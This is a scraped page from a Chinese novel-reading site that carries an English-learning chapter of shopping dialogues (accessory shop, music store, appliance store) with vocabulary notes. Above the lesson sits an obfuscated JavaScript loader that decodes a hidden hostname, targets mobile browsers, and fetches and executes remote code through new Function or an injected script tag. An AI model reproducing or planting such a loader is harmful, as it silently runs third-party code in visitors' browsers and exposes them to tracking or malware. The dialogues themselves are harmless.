妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

03 购物地点(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

这幅关于马的画是个赝品。

精致工艺品

dialogue

rose and alice walk into an accessory shop.

罗丝和爱丽丝走进了一家饰品店。

seller: good afternoon, ladies. can i help you?

卖家:下午好,女士们,我能为你们效劳吗?

rose: we are just looking around. it&#039;s a warm and comfortable little shop.

罗丝:我们随便看看。这家小店很温馨。

seller: thank you. i&#039;m always at your service.

卖家:谢谢,随时为你们效劳。

alice: rose, look, these chinese knots are so beautiful.

爱丽丝:罗斯,看,这些中国结真漂亮。

rose: they are beautiful, but i think that wind bell is more attractive to me.

罗斯:它们确实很漂亮,但我对那个风铃更感兴趣。

alice: the purple one?

爱丽丝:那个紫色的吗?

rose: yeah, the sound of the little bells is melodious. it would be very interesting if there&#039;s a wind bell hanging in the bedroom.

罗斯:是的。小铃铛的声音听起来很悦耳。如果能在卧室里挂一个风铃该多有趣啊。

alice: sounds nice.

爱丽丝:听起来不错。

rose: how much is the wind bell?

罗斯:这个风铃多少钱?

seller: it&#039;s 40 yuan.

卖家:40元。

alice: and the chinese knot?

爱丽丝:这个中国结呢?

seller: 15 yuan, madam.

卖家:15元,女士。

rose: we&#039;ll buy these two for 50 yuan, ok?

罗斯:50块钱买这两个,可以吗?

seller: ok, deal.

卖家:好的,成交。

notes

1. comfortable [?k?mf?t?bl] adj. 安逸的,使人舒服的;丰富的

2. service [?s?:vis] n. 服务,效劳;政府部门;服役,任职;v. 检修;向……提供服务;支付……的利息

3. knot [n?t] n. 结;v.(使)打结,缠结

4. attractive [??tr?ktiv] adj. 吸引的,诱人的;有吸引力的;引起注意的

5. melodious [m??l?udi:?s] adj. 有旋律的,产生旋律的;悦耳的

6. hang [h??] v. 悬,挂,垂下;(被)绞死,吊死

小贴士

1. i am just looking around.

我只是随便看看。

2. i&#039;m always at your service.

随时为你们效劳。

3. i like these chinese knots very much.

我非常喜欢这些中国结。

chinese knot 中国结,是用一条线编织而成的手工艺品。古时用线挽结记事,逐渐演变成今日的装饰手艺。周朝人随身的佩戴玉常以中国结为装饰,而战国时代铜器上也有中国结的图案,延续至清朝中国结真正成为流传于民间的艺术。当代多用来室内装饰、亲友间的馈赠礼物及个人的随身饰物。因为其外观对称精致,可以代表中华民族悠久的历史,符合中国传统装饰的习俗和审美观念,故命名为中国结。

4. this monument is very exquisite. just a pity that it is too expensive.

这个雕像很精致细腻,遗憾的是价格太高了。

5. i&#039;ll buy this painting for my teacher as a gift.

我要把这幅画买下来作为礼物送给老师。

音像店

dialogue

bob is off duty today. he plans to buy some music disks.

鲍勃今天不上班,他打算去买一些音乐光碟。

kane: there are different kinds of disks here. you can choose whatever you like, sir.

凯恩:这里有各种各样的光盘,您可以选择任何您想要的,先生。

bob: i&#039;m looking for some music cds.

鲍勃:我在找音乐光碟。

kane: what kind of music do you like best,jazz music or rock music?

凯恩:您喜欢听什么音乐?爵士还是摇滚?

bob: i like many kinds of music. do you have any cds of michael jackson in your shop?

鲍勃:我喜欢很多种音乐。你商店里有卖迈克尔·杰克逊的光碟吗?

kane: i&#039;m sorry, sir. the cds of michael jackson have been sold out. but you can book it here if you like.

凯恩:对不起,先生。迈克尔·杰克逊的光碟已经卖完了。不过,如果您喜欢的话可以在这儿预订。

bob: ok, i need the ultimate collection.should i pay for that now?

鲍勃:好的,我要《终极精选》,现在需要付款吗?

kane: you should pay half the price. it&#039;s 50 yuan, sir. please sign your name and phone number here.

凯恩:您需要付一半的订金,50元,先生。请在这儿签上您的名字和电话号码。

bob: ok, here&#039;s the money. how long will it take?

鲍勃:好的,给你钱。需要多长时间?

kane: about 3 days.

凯恩:大概三天吧。

notes

1. disk [disk] n. 圆盘;磁盘;唱片,光盘

2. ultimate [??ltimit] adj. 最后的,最终的;基本的,根本的;最大的,极限程度的

3. collection [k??lek??n] n. 收集,收取;领取;收藏品,收集的东西;募集的款项,捐款;积聚物;集中在一起的人

小贴士

1. jazz music

爵士乐是一种起源于非洲的音乐形式,从民间音乐慢慢发展为当今乐坛上很重要的一个派别,其影响力遍及全世界。其音乐风格混合了布鲁斯、拉格泰姆等多种音乐类型,节奏特色明显,而且保留了集体即兴创作的特点。其主要发源地为美国的新奥尔良。

2. rock music

摇滚音乐音乐来源有很多,融合有布鲁士、rb、乡村音乐等多种风格,其主要来源是节奏布鲁斯。风格奔放,适于伴舞。

3. michael jackson

迈克尔 ·杰克逊是世界乐坛极具影响力的一名歌手。被誉为“流行音乐之王”。他的歌迷遍布世界各地,其个人演唱会总是场场爆满,他那独特的风格和舞步更是让无数的明星纷纷效仿。2009年6月26日,据传因其私人医生注射镇静剂过量而导致他心脏病突发逝世。世界各地的歌迷用不同的方式怀念着这位巨星。

家电超市

dialogue

there is something wrong with tayor&#039;s dvd player. is that so?

泰勒的dv d机出问题了,真是那样吗?

tayor: there&#039;s something wrong with the dvd player that i bought yesterday.

泰勒:我昨天买的dvd机有问题。

seller: what&#039;s wrong with it? we tested it yesterday. it worked rather well.

卖家:什么问题?我们昨天测试过,机器运转很好啊。

tayor: i know that. this morning i rent a vcd disk in a digital shop. i played it on the player. but it didn&#039;t work.

泰勒:我知道。今天上午我在一家音像店租了一张vcd碟片。我放在播放机里,但是不能播放。

seller: ok, i will check it for you.

卖家:好吧,我为您检查一下。

(several minutes later…)

(几分钟后……)

seller: there&#039;s nothing wrong with the player, sir. you see, it runs well with our disk.

卖家:播放机没有问题,先生。你看,我们的碟片在上面播放得很好。

tayor: then what&#039;s the problem?

泰勒:那是怎么回事?

seller: the problem must be caused by your vcd disk. this player can&#039;t play the disks with inferior quality.

卖家:问题一定出在光盘上。这台播放机不能播放质量差的光盘。

tayor: oh, i know.

泰勒:哦,我知道了。

seller: next time you rent the disks, please make sure that they are real and intact.

卖家:下次租光盘的时候,请确保光盘是正版且完好无损。

tayor: ok, thanks for your service.

泰勒:好的,很感谢你的服务。

seller: my pleasure.

卖家:不客气。

notes

1. test [test] v. 测验,考查;检查,检验;n. 测验,化验;试验品

2. rent [rent] n. 租金;地租;v. 租用,出租(房屋等)

3. digital [?did?it?l] adj. 数字式的,数码的;数字显示的

4. inferior [in?fi?ri?] adj.低等的,劣等的,次的;下级的;n. 部下,下属

5. intact [in?t?kt] adj. 完整无缺的,未经触动的;未受损伤的

小贴士

1. what&#039;s the size of the tv?

这台电视的尺寸是多少?

2. could you introduce me about this microwave oven?

你能给我介绍一下这台微波炉吗?

3. is this refrigerator an energy-saving one?

这是台节能冰箱吗?

4. this player can support different formats of videos.

这台播放机支持多种视频格式的播放。

5. how long does it take to charge this electric shaver?

这个电动剃须刀需要充多长时间电?

6. this is your warranty card of the air conditioning.

这是你空调的保修卡。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间